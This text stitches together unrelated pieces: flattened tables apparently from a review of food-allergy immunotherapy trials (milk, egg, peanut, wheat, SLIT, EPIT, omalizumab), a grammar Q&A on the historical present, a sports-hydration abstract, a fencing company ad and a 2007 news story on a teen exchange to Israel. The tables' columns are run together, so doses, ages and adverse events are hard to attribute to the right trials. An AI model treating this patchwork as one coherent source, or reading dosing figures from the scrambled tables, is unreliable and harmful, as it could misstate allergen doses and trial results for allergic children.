Typical protocol Initial dose-escalation day; doses administered daily throughout protocol, with bi-weekly dose increases during build-up phase (months), followed by maintenance (months-years) Daily patch application for increasing intervals until 24 hour per day maintenance (years) Weekly incrementally increasing doses Current trial: 4 doses every 2 weeks
Maintenance dose Daily; 300 mg to 4 g Daily; 2 to 7 mg Daily; 50 to 500 µg Weekly 60 ng Unknown
Observed doses Initial dose escalation; up-dosing every 1 to 2 weeks Up-dosing every 1 to 2 weeks Initiation and periodic observation All; typically weekly for build-up and monthly for maintenance All are observed
Dosing restrictions Take with food; avoid physical activity 2 hours after; withhold during illness Avoid eating 30 minutes following dose none Period of in-office observation following each dose Under observation in the office
Notable advantages Improved efficacy compared to SLIT and EPIT; Cost efficient Improved safety profile compared to OIT Best safety profile of AIT for food allergy under study in humans; Ease of administration Dosing only once per week; Observed dosing may improve compliance Potential to induce tolerance with limited number of doses
Notable disadvantages Frequent office visits during up-dosing; frequent AE which may include anaphylaxis; risk of EoE Frequent AE; theoretical risk of EoE Limited data: appears to have reduced efficacy compared to other modalities Frequent office visits during up-dosing; administered by injection Administered by injection
AE, adverse event; AIT, allergen-specific immunotherapy; EoE, eosinophilic esophagitis; EPIT, epicutaneous immunotherapy; LAMP, lysosomal-associated membrane protein; OIT, oral immunotherapy; SCIT, subcutaneous immunotherapy; SLIT, sublingual immunotherapy.
^\*^Very limited data in humans.
###### Immunomodulation in allergen-specific immunotherapy
Immune parameter Functional correlate
---------------------------------------------- ------------------------------------------------
↓SPT wheal diameter Decreased mast cell reactivity
↓CD63 expression in basophil activation test Decreased basophil reactivity
Initial ↑sIgE, followed by sustained ↓sIgE Altered antibody isotype production by B cells
↑sIgG, particularly ↑sIgG4
↑sIgA (limited to OIT and SLIT)
↓IL-4 and IL-13 production by PBMCs Suppression of T~H~2 immunity
↑IFN-γ production by production by PBMCs Induction of T~H~1 CD4^+^ T cells
↑IL-10, TGF-β production by PBMCs Induction of T-regulatory cells
↑FoxP3^+^CD25^+^CD4^+^ T cells
###### Representative milk oral immunotherapy clinical trials
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
------------------------------------------------------ ------------------------------------------------ ------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------
Milk OIT, open-label in highly sensitized 21 subjects 6 months Milk OIT induced desensitization to daily 200 ml dose in 71% of subjects considered to have severe cow milk allergy No reported EAI\
14% developed moderate symptoms on first dose\
14% had dose-limiting symptoms during build-up
Meglio et al. 2004 5--10 years 200 mL
Milk and egg OIT vs avoidance in young children, RCT 14 milk\ Mean 21 months 64% of OIT subjects were able to integrate allergenic food into the diet, compared to 35% of avoidance group (*P*=0.05); 36% of OIT group demonstrated 2-month SU No severe AE. No EAI\
11 egg\ 9 AE-related withdrawals\
20 avoidance All active had AE, 4 with moderate AE. Among controls, 5 had moderate symptoms on accidental exposures
Staden et al. 2007 Median 2.5 years (range 1-12 years) 100 mL cow milk\
1.6 g egg
Milk OIT vs placebo, RCT 12 active\ 6 months Milk OIT induced desensitization, with median eliciting dose in active subject 5,140 mg compared to 40 mg in placebo (*P*\<0.001) 1% of active doses elicited multi-system AE, vs 0 in placebo (*P*=0.01); 1 of 12 active withdrew due to AE
7 placebo
Skripak et al. 2008 6--17 years 15 mL
Milk OIT, Open-label follow up of Skripak 2008. 15 subjects, tolerant of 75 mL after above OIT Median 4 months open-label following 6 months blinded Milk OIT induced desensitization to between 90 and 480 mL in 87%, with safety concerns EoE in 1 subject. 6 EAI in 4 subjects. Multi-system reaction decreased from 11% in first 3 months to 4.8% in subsequent month
Narisety et al. 2009 15 mL
Milk OIT with gradual build-up vs placebo, RCT 15 active\ 4.5 mo Milk OIT with gradual outpatient build-up induced desensitization in 66% of active, vs 0 in placebo, with safety concerns Among active group, 3 patients experienced severe AE with 2 EAI; 7 mild AE; 3 had no AE
15 placebo
Pajno et al. 2010 4-10 years 200 mL
Milk OIT vs placebo, RCT in young children 30 active\ 1 year Among young subjects, milk OIT induced 200 mL-desensitization in 90% on active, vs 23% in placebo, with safety concerns 2 EAI. 37% of subjects experienced multi-system reaction. 2 AE-related withdrawals
30 placebo
Martorell et al. 2011 2-3 years 200 mL
Low-dose OIT vs avoidance, in highly sensitized 12 active\ 1 year, with 5-day inpatient build-up In a highly sensitized group, low-dose OIT protocol induced 3 mL-desensitization in 58% of active and 14% of controls (*P*=0.018); and 25 mL-desensitization in 33% of active vs 0 of controls (*P*=0.007), with good safety profile 1 EAI after home dose, given for cough; no AE-related withdrawals
25 avoidance
Yanagida et al. 2015 6-13 years 3 mL
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AE, adverse event; EoE, eosinophilic esophagitis; EAI, epinephrine auto-injector; ITT, intention to treat; OIT, oral immunotherapy; RCT, randomized controlled trial; SU, sustained unresponsiveness.
###### Representative egg oral immunotherapy clinical trials
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
--------------------------------------------------------------------------------------- -------------------- ------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------
Egg OIT, open-label 7 subjects 24 months Among subjects without history of anaphylaxis, 24-month egg OIT induced 8 g-desensitization in 4 of 7, with good safety profile No severe AE. No EAI. Mild AE during initial dose escalation; 1 reaction during build-up; none during maintenance
Buchanan et al. 2007 1--7 years 0.3 g/day
Egg OIT in young children: see Staden et al. 2007 in [Table 3](#T3){ref-type="table"}
Egg OIT, open-label 8 subjects 18--40 months Using a modified build-up protocol with IgE-de-pendent up-dosing, 75% achieved 3.9 g-desensitization achieved, with good safety profile No severe AE. No EAI. Symptoms in 83% on initial dose escalation; 1 required SABA. No reactions on maintenance
Vickery et al. 2010 3--13 years maximum 3.6 g/day
Egg OIT vs placebo, RCT 40 active\ 22 months 55% on active vs 0 on placebo achieved 5 g-de-sensitization after 10 months OIT;\ No severe AE. No EAI. Symptoms with 25% of active vs 4% placebo. 5 AE-related withdrawals in active, vs 0 in placebo
15 placebo After 22 months OIT, 75% achieved 10 g-desensitization; 28% achieved 2 month-SU
Burks et al. 2012 5--11 years 2 g/day
Egg OIT, long-term follow-up of Burks et al. 2012 as above Up to 4 years With prolonged OIT, 50% of active subjects achieved 4 to 6-week SU to 10 g. 1 year after study conclusion, 64% of active and 25% of placebo were consuming egg (*P*=0.04) No severe AE. No EAI.\
12 of 22 active still reporting mild symptoms with egg at years 3 to 4
Jones et al. 2016 As above
Short-course open-label egg OIT vs placebo, RCT 17 active\ 4-month OIT with 5 months egg-containing diet Abbreviated OIT protocol induced 4-g desensitization in 94% (compared to 1 of 14 in placebo), with 29% achieving 3-month SU 1 EAI during desensitization phase. 1 reaction requiring SABA and steroid during maintenance
14 placebo
Caminiti et al. 2015 4--10 years 4 g
Short-course open-label egg OIT, vs avoidance, 30 active\ 3-month OIT Abbreviated OIT protocol induced 2.8 g desensitization in 93%, with 1 month-SU in 37% (vs 1 of 31 placebo), with acceptable safety profile. All with SU were consuming at 36 months post-OIT Symptoms with 5.9% of active doses. 5 episodes respiratory distress with 1 EAI in active group
31 avoidance
Escudero et al. 2015 5--17 years 1 undercooked egg (3.6 g)
Highly sensitized subjects, low-dose egg OIT vs avoidance, RCT 21 active\ 12 months, with 5-day inpatient dose escalation Among subjects with history of anaphylaxis or sIgE \>30 kIU/L, a modified, low-dose protocol induced 2 week-SU to 0.2 g in 71% (vs 0 of 12 controls); and SU to 1.8 g in 33%, with acceptable safety profile No severe AE. No EAI. Symptoms with 6.5% of home doses. 2 AE-related withdrawals
12 avoidance
Yanagida et al. 2016 6--19 years 0.1--0.2 g scrambled egg
High dose egg OIT vs placebo, RCT 19 active\ 5 months; with 5-day build-up A high-dose, abbreviated protocol with inpatient build-up induced desensitization to 1 under-cooked egg in 89% of active subjects, vs 0 of placebo During build-up, 2 episodes of anaphylaxis and 2 EAI. No severe AE during maintenance
14 placebo
Perez-Rangel et al. 2017 Mean 10.4 years 1 undercooked egg (=3.6 g powder)/48 hours
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AE, adverse event; EAI, epinephrine auto-injector; ITT, intention to treat; OIT, oral immunotherapy; RCT, randomized controlled trial; SU, sustained unresponsiveness.
###### Oral immunotherapy with modified egg and milk proteins
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
----------------------------------------------------------- --------------------------------------------- ---------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Baked milk OIT, open-label, in highly sensitized subjects 15 milk OIT failures reactive to 30 mg milk 12 months Among highly reactive subjects, only 20% tolerated 1.3 g/day of baked milk; those completing 12 months did have increase in challenge threshold to unheated milk 2 EAI for 2 episodes of anaphylaxis after home dosing. AE occurred at doses previously tolerated \>1 mo. 53% withdrew due to IgE-mediated reactions
Goldberg et al. 2015 6--12 years 1.3 g baked milk/day
Hydrolyzed egg OIT, vs placebo, RCT 15 active\ 6 months OIT with hydrolyzed egg not effective over placebo in inducing desensitization 7 dose-related AE in active vs 2 in placebo. No severe AE or EAI
14 placebo\
No entry OFC
Giavi et al. 2016 1--5 years 9 g hydrolyzed egg
Baked egg OIT, open-label 15 subjects 2--9 months Only 53% were able to complete the protocol. All who completed protocol subsequently tolerated boiled egg No moderate or severe AE. No EAI. 7 were intolerant of first dose and 5 tolerated partial doses
Bravin et al. 2016 5--17 years 6.25 g baked egg
Ultra-high temperature treated milk OIT, open-label 20 subjects 18--36 months 70% achieved desensitization to 200 mL cow milk within 24 months 57% among the 14 achieving desensitization had mild reactions. Among the 6 who did not, there were more severe reactions (including anaphylaxis) and 2 AE-related withdrawals
Perezábad et al. 2017 1--11 years 25 g goat and sheep milk sheep (30% protein)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AE, adverse event; EAI, epinephrine auto-injector; ITT, intention to treat; OFC, oral food challenge; OIT, oral immunotherapy; RCT, randomized controlled trial.
###### Representative peanut oral immunotherapy clinical trials
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
------------------------------------------------------------- -------------------- --------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------------------------------
Peanut OIT open-label 39 subjects 36 months Peanut OIT induced 3.9 g-desensitization in 74% of subjects with acceptable safety 3.7% of home doses were accompanied by symptoms; 0.8% requiring treatment, with 2 EAI\
4 AE-related withdrawals
Jones et al. 2009 1--16 years 1.8 g
Peanut OIT open-label 23 subjects Median 9 months, with 7-day rush Using a shorter protocol, 61% reached target daily dose of 500 mg. At 1-wk SU OFC, median highest tolerated dose was 1 g. Safety concerns persist despite lower target maintenance, primarily among asthmatics 0.3% of doses accompanied by AE. 4 AE-related withdrawals all due to asthma exacerbations, with one hospitalization
Blumchen et al. 2010 3--14 years 0.5 g minimum
Peanut OIT vs placebo, RCT 19 OIT\ 12 months Peanut OIT induced 5-g desensitization in 84% of active subjects, vs 0 on placebo (*P*\<0.001), with acceptable safety profile 2 EAI with initial dose escalation; no EAI after home dose (except in placebo arm)\
9 placebo 3 AE-related withdrawals
Varshney et al. 2011 1--16 years 5 g
Peanut OIT open-label 22 subjects 9--17 months Peanut OIT with lower maintenance dose of 800 mg induced 6.6 g-desensitization in 64% of subjects, with acceptable safety profile No EAI. 0 AE-related withdrawals. 86% experienced some AE with doses. 0.4% of build-up & 0.3% of maintenance doses required SABA
Anagnostou et al. 2011 4--18 years 0.8 g
Peanut OIT vs avoidance, RCT 49 OIT\ 6 months In a study inclusive of subjects with life-threatening anaphylaxis to peanut, peanut OIT induced 1.4 g-desensitization in 50% of active subjects, compared to 0 on avoidance, with acceptable safety profile 2 home EAI in 1 participant\
46 avoidance Wheeze after 0.41% of doses in 22% of participants; 4 AE-related withdrawals
Anagnostou et al. 2014 7--16 years 0.8 g
Follow up of Jones 2009;\ 39 subjects 22 months 4 week SU to 5 g achieved in 31% of enrolled subjects and 50% of subjects completing the protocol. All subjects with SU were consuming peanut 40 months post-OIT 6 AE-related withdrawals
Peanut OIT open-label
Vickery et al. 2014 1--16 years 4 g max
Low vs high dose Peanut\ 20 low dose\ 29 months Among younger subjects, low and high dose OIT had similar outcomes, inducing 5 g-desensitization in 81% of subjects and 1 month-SU in 78%, with good safety profile No severe AE; no EAI. 95% of subjects had some dose-related AE, mostly mild, 15% moderate. 2 AE-related withdrawals
OIT in young subjects 17 high dose
Vickery et al. 2017 9--36 months 0.3 g or 3 g
Standardized peanut OIT product vs placebo, multicenter RCT 29 OIT\ 5--9 months With active OIT, 79% and 62% tolerated 0.443 g and 1.043 g with minimal or no symptoms, respectively; compared to 19% and 0% on placebo (*P*\<0.0001), with good safety profile 93% of active and 46% of placebo groups experienced dose-related AE. Mostly mild, 4--6% moderate, none severe. 6 AE-related withdrawals, 4 due to GI symptoms
26 placebo
Bird et al. 2017 4--26 years 0.3 g
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AE, adverse event; EoE, eosinophilic esophagitis; EAI, epinephrine auto-injector; GI, gastrointestinal; ITT, intention to treat; OFC, oral food challenge; OIT, oral immunotherapy; RCT, randomized controlled trial; SU, sustained unresponsiveness.
###### Wheat oral immunotherapy clinical trials
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
----------------------------------------------------- ------------------------ --------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------
Wheat OIT, Open-label 6 subjects 6--7 months OIT with wheat induces desensitization in most subjects (5 of 6), with acceptable safety profile Symptoms with 6.25% of up-doses\
2 urticarial reactions during maintenance
Rodriguez del Rio et al. 2014 5--11 years 10.6 g
Wheat OIT open-label, in highly sensitized subjects 18 active;\ 2 years Among highly-sensitized subjects, wheat OIT induces 2-week SU to 5.2 g in 61%, compared to 9% of historical controls avoiding wheat Symptoms with 6.8% of outpatient doses, with 1 EAI administration
11 historical controls
Sato et al. 2015 5--14 years 5.2 g
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
EAI, epinephrine auto-injector; ITT, intention to treat; OIT, oral immunotherapy.
###### Oral immunotherapy with omalizumab
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
--------------------------------------------- ----------------------- --------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------
Milk OIT with omalizumab 11 subjects 6 months, first 4 months with omalizumab With concomitant administration of milk OIT and omalizumab, 82% achieve DS to 2 g 8 weeks post-omalizumab; and subsequently ingested \>8 g milk protein at home. Just 1.6% of doses elicited any reaction; After omalizumab cessation, 2 had moderate AE for which EAI given
Nadeau et al. 2011 7--17 years 2 g
Milk OIT with or without omalizumab, RCT 27 omalizumab\ 28 months, all with omalizumab While efficacy in achieving DS to 10 g and 8-wk SU were not different with and without omalizumab, AEs were significantly reduced in active group. Omalizumab group had reduced reactions (2% vs 16%) and reduced drop-out (2 vs 5)\
18 placebo EoE reported in placebo
Wood et al. 2016 7--32 years 520 mg
Milk or egg OIT with omalizumab 14 subjects,\ 14 months, first 2 months with omalizumab In a group of 14 subjects unable to tolerate conventional OIT, all were able to achieve maintenance dose while on omalizumab, though some relapsed after omalizumab cessation 60% of cow milk allergic and 33% of egg allergic developed anaphylaxis between 2.5 and 4 months after cessation of omalizumab
5 cow milk allergic,\
9 egg allergic
Martorell-Calatayud et al. 2016 3--11 years 200 mL milk\
1.8 g egg
Peanut OIT with omalizumab 13 subjects,\ 8 months, with omalizumab for first 2 Even among highly sensitized, omalizumab allows for safe and effective DS, with 92% completing protocol and achieving DS to 8 g 2 grade 3 reactions during maintenance
highly sensitized
Schneider et al. 2013 7--15 years 4 g
Peanut OIT, with or without omalizumab, RCT 29 omalizumab\ 4 months, 1st month with omalizumab Omalizumab-treated subjects tolerated OIT at higher doses, with 79% of active achieving DS (to 2 g), vs 1 of 8 placebo. These 79% went on to demonstrate DS to 4 g 12 weeks post-omalizumab Reactions after 7.8% active vs 16.8% placebo (*P*=0.15)\
8 placebo EAI admin: Active 4, placebo 3\
EoE: active 1, placebo 1
MacGinnitie et al. 2017 6--19 years 2 g
Multi-food OIT with omalizumab 25 subjects 6 months, first 4 months with omalizumab OIT with omalizumab enabled all participants on OIT with up to 5 foods to achieve doses 10-fold higher than eliciting dose at enrollment All moderate (at least 0.06% of doses) and severe (1 EAI admin) reactions, occurred during maintenance
Begin et al. 2014 4--15 years 4 g per protein
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AE, adverse event; DS, desensitization; EAI, epinephrine auto-injector; EoE, eosinophilic esophagitis; ITT, intention to treat; OFC, oral food challenge; OIT, oral immunotherapy; RCT, randomized controlled trial; SU, sustained unresponsiveness.
###### Clinical trials of sublingual immunotherapy
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
---------------------------------------------------------- -------------------- --------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ----------------------------------------------------------------------------------------------------------------------------
Hazelnut SLIT vs placebo, RCT 12 active\ 8 to 12 weeks Hazelnut SLIT induced desensitization in 50% of active subjects tolerating 20 g hazelnut after therapy, vs 9% placebo, with good safety profile Mild reactions in 7.4% of doses; systemic reactions in 0.2% (N=3), all during build-up. No EAI
11 placebo
Enrique et al. 2005 18--60 years 13 mg
Peanut SLIT vs placebo, RCT 11 active\ 12 to 18 months Peanut SLIT induces desensitization, with active group ingesting 20-fold more protein than placebo (*P*=0.011), with good safety profile Symptoms with 11.5% of active doses, vs 8.6% placebo. 1 home dose required albuterol. No EAI
7 placebo
Kim et al. 2011 1--11 years 2 mg
Peanut SLIT vs placebo, RCT 20 active\ 11 months Peanut SLIT induces desensitization in a majority: 70% of active tolerated 5 g or ingested 10-fold more than at baseline, vs 15% of placebo (*P*\<0.001), with good safety profile Symptoms with 37% of doses; 2.9% of doses require treatment, with 1 administration of albuterol and 1 EAI, during build-up
20 placebo
Fleischer et al. 2013 12--37 years 165 to 1,385 μg
Peanut SLIT, long-term follow-up of Fleisher et al. 2013 37 active 3 years With 3 years peanut SLIT, only a portion (11%) of subjects achieved desensitization and 8-wk SU to 10 g, with good safety profile, but high (\>50%) drop-out rate 2% of doses with symptoms; no severe AE, no EAI. 2 AE-related withdrawals
Burks et al. 2015 dose as above
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AE, adverse event; EAI, epinephrine auto-injector; ITT, intention to treat; OFC, oral food challenge; OIT, oral immunotherapy; RCT, randomized controlled trial; SLIT, sublingual immunotherapy.
###### Clinical trials comparing oral and sublingual immunotherapy
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
---------------------------------------------------- -------------------- --------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------
Milk SLIT followed by OIT, vs milk SLIT alone, RCT 20 SLIT/OIT\ 15 months SLIT/OIT therapy was more effective than SLIT alone in inducing desensitization (70% vs 10%) and SU (40% vs 10%); though safety profile was better in SLIT. Some lost clinical desensitization 1 week off OIT Multisystem AE and β-agonist therapy for AE were higher on SLIT/OIT than SLIT alone (IRR 11.5 and 8.6, *P*\<0.001). 4 EAI in SLIT/OIT; 2 in SLIT alone
10 SLIT
Keet et al. 2012 6--17 years OIT 1 g or 2 g;\
SLIT 7 mg
Peanut OIT vs SLIT, RCT 11 OIT\ 12 to 18 months OIT was more effective than SLIT in inducing desensitization, with 141- vs 22-fold increase in highest tolerated dose (*P*=0.01), with SLIT having the better safety profile AE more common with OIT doses (43% vs 9%, *P*\<0.001), including moderate AE (3.4% vs 1.3%, *P*\<0.001). 5 EAI on OIT vs 0 on SLIT
10 SLIT
Narisety et al. 2015 7--13 years OIT 2 g\
SLIT 3.7
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AE, adverse event; EAI, epinephrine auto-injector; ITT-intention to treat; OFC, oral food challenge; OIT, oral immunotherapy; RCT, randomized controlled trial; SLIT, sublingual immunotherapy; SU, sustained unresponsiveness.
###### Clinical trials of epicutaneous immunotherapy
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Design & reference Sample: size & age Protocol: duration & daily maintenance dose Outcome (by ITT) and other significant findings Notable adverse events
--------------------------------------- -------------------- --------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------------
Milk EPIT vs placebo, RCT 10 active\ 3 months of 3 48-hour applications per week, 1 mg Milk EPIT resulted in a non-significant increase in mean maximum tolerated dose from 1.8 mL to 28 mL (*P*=0.18), with good safety profile Local AE in 4 active subjects vs 2 placebo; 24 systemic AE in active group, vs 8 in placebo\
9 placebo No anaphylaxis or EAI
Dupont et al. 2010 10 months--8 years
Peanut EPIT vs placebo, RCT 49 active\ 2 weeks with 4 different patch doses, 20\ 2 weeks peanut EPIT was safe and well tolerated 2 systemic reactions; no severe AE and no EAI
20 placebo 500 μg
Jones et al. 2016 5--50 years
Peanut EPIT vs placebo, RCT 49 active\ 52 weeks, 100 or 250 μg 47% of active tolerated 5 g OFC or had 10-fold increase in successfully consumed dose, vs 15% in placebo. Treatment success more likely in \<11 years Reactions extending beyond patch site occurred in 0.1% active, one with systemic hives
25 placebo
Jones et al. 2017 4--25 years
Peanut EPIT vs placebo, RCT 10 active\ 52 weeks, 250 μg 35.3% of active vs 13.6% of placebo demonstrated significant response. Mean cumulative reactive dose of 44 mg in active vs 144 mg placebo, with significant increase from baseline (*P*\<0.001) 4 treatment-related serious AE in 3 active subjects; no severe anaphylaxis. 1.1% drop-out rate due to treatment-emergent AE
6 placebo
Preliminary results released Oct 2017 4--11 years
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
AE, adverse event; EAI, epinephrine auto-injector; EPIT, epicutaneous immunotherapy; ITT, intention to treat; OFC, oral food challenge; RCT, randomized controlled trial; SU, sustained unresponsiveness.
|
Q:
It is May 12th, 1959, when I'm introduced to Janey
Is it possible to use the present tense along with an adverbial of the past time?
(1) It is May 12th, 1959, when I'm introduced to Janey.
This is a transcript of the movie "Watchmen." And you can hear the movie sound here.
Is it really natural or even grammatical to use the present tense "am" along with the adverbial "May 12th, 1959" as in (1)?
Since it's a cleft sentence, you should be able to change it to:
(2) I'm introduced to Janey on May 12th, 1959.
OR
(3) On May 12th, 1959, I'm introduced to Janey.
If (1)'s natural, how about (2) and (3)?
EDIT
I'd like to make it clear that I do understand the use of the present tense for the past time in a narrative setting. The question really is not about the use of the present tense itself but the use of the present tense along with the past-time adverbial.
Is it okay to use the present tense along with the past-time adverbial when you describe the past time in a narrative setting?
A:
You need to understand that "Watchmen" [sic] is a film with a very particular mood throughout. Although set in the past, the language throughout is immediate; present tense. The author is trying to bring the audience into the time; not through flashbacks or memories, but as though you were there, then.
The whole mood is retro, but even more so. It's very powerful in that respect (not to mention many others...)
A:
Yes, it is okay to use the present tense along with past-time adverbials when you describe past time in a narrative setting. It is the historical present. It can also be called the storytelling present and narrative present. Jokes also often use the present tense. The use of the present tense gives the sense of immediacy.
Such uses can include adverbials of time (which talk about past time) treated in the present tense:
Yesterday, John goes into a bar. He orders a drink. He begins a conversation before leaving. He forgets to pay.
Source" As Time Goes by: Tense and Universal Grammar - Page 199
"It is a bright summer day in 1947. My father, a fat, funny man with beautiful eyes and a subversive wit, is trying to decide which of his eight children he will take with him to the county fair. My mother, of course, will not go. She is knocked out from getting most of us ready: I hold my neck stiff against the pressure of her knuckles as she hastily completes the braiding and the beribboning of my hair. . . ."
Alice Walker, "Beauty: When the Other Dancer Is the Self." In Search of Our Mothers' Gardens: Womanist Prose. Harcourt Brace, 1983. (Cited here.)
and
Two weeks before Christmas Malachy and I come home from school in a heavy rain and when we push in the door we find the kitchen empty...
from Angela's Ashes, by Frank McCourt (cited here.)
|
Development of hydration strategies to optimize performance for athletes in high-intensity sports and in sports with repeated intense efforts.
Hypohydration - if sufficiently severe - adversely affects athletic performance and poses a risk to health. Strength and power events are generally less affected than endurance events, but performance in team sports that involve repeated intense efforts will be impaired. Mild hypohydration is not harmful, but many athletes begin exercise already hypohydrated. Athletes are encouraged to begin exercise well hydrated and - where opportunities exist - to consume fluid during exercise to limit water and salt deficits. In high-intensity efforts, there is no need, and may be no opportunity, to drink during competition. Most team sports players do not drink enough to match sweat losses, but some drink too much and a few may develop hyponatremia because of excessive fluid intake. Athletes should assess their hydration status and develop a personalized hydration strategy that takes account of exercise, environment and individual needs. Pre-exercise hydration status can be assessed from urine markers. Short-term changes in hydration can be estimated from the change in body mass. Sweat salt losses can be determined by collection and analysis of sweat samples. An appropriate drinking strategy will take account of pre-exercise hydration status and of fluid, electrolyte and substrate needs before, during and after exercise. |
Custom Fabrication
W-Bar-Y is the premier custom fabrication facility in the Branson, Springfield Missouri and the four-state area. Custom fabrication is performed in our state-of-the-art fabrication shop. This allows us to custom build your unique design.
Since 1978 we have devoted our efforts to provide superior customer service and quality craftsmanship. Any style of fence using aluminum, vinyl or wood is built to the highest quality and standards. |
Student 'Encounter' Creates Relationships That Last
January 18, 2007
She was nervous. O.K., she was very, very nervous.
When Jennifer Ehlers signed up for the MIFGASH Program, sponsored by the Jewish Federation of Greater Philadelphia's Partnership 2000 program, one that allows area teens to participate in an exchange program with their counterparts in Philadelphia's Israeli sister region, she knew no one. At 15, she was also the youngest of the travelers to the Netivot-Sedot Negev region last summer.
"And all my nervousness was absolutely unwarranted," said the Maple Glen teen who returned from the exchange brimming with enthusiasm, and ready to greet her Israeli "sister" a few weeks later. "It was the most wonderful, amazing experience. I loved it!"
The Upper Dublin High School student had the typical reaction of the fortunate teens who have participated in Mifgash, or "Encounter" in Hebrew, having lived and experienced an adventure unlike any other. In this case, the encounter was entirely positive, fulfilling and meaningful.
"I had gone to Israel with my confirmation class, and I couldn't wait to go back," said Jennifer. "When the brochure for Mifgash came in the mail, I read it about a million times! I knew that this was the way I wanted to go back to Israel."
The MIFGASH program, now known as MIFGASH: Ambassadors for Partnership, is overseen by the Community Youth Initiative of the Jewish Community Centers of Philadelphia, with Lisa Sandler, the director of the Community Youth Initiative, at the helm.
"The beautiful thing is that we participate in this program in the broadest and most meaningful way," said Sandler, who noted that the sister city component is what adds greater meaning to the exchange experience. "Our youngsters come back with a keener sense of the region from having literally lived it. Mifgash fosters not just the tremendous growth that comes from a travel exchange, but also the positive relationship and identity with Federation's Partnership 2000 community, Netivot-Sedot Negev."
To qualify, the 12 local participants must be high school age, entering their junior or senior year, and willing to go through a screening and application process. Their Israeli counterparts do the same, and are also required to have significant mastery of English.
Once in Israel, the students live with their Israeli counterpart and his/her host family in the sister region. The days and nights are filled with planned activities, from travel to historic sites to visits to soldiers in Israeli hospitals, camping, Shabbat visits and, most of all, interaction with Israeli teens.
Jennifer vividly recalls a picnic at which the Philadelphia-area and Israeli youngsters broke the ice by responding to general questions. One involved describing the future as they imagined it. "We all spoke of college," she recalled. "They all spoke of the army."
Another striking difference from Jennifer: "The American kids all mentioned seeking a Jewish partner and the Israeli kids didn't even think of that because for them, Jewishness is so natural. It's all they know, while we have to seek it out. That kind of insight," said Jennifer, "is how we got to know one another's lives and ideas."
The home component is also critical and deeply meaningful.
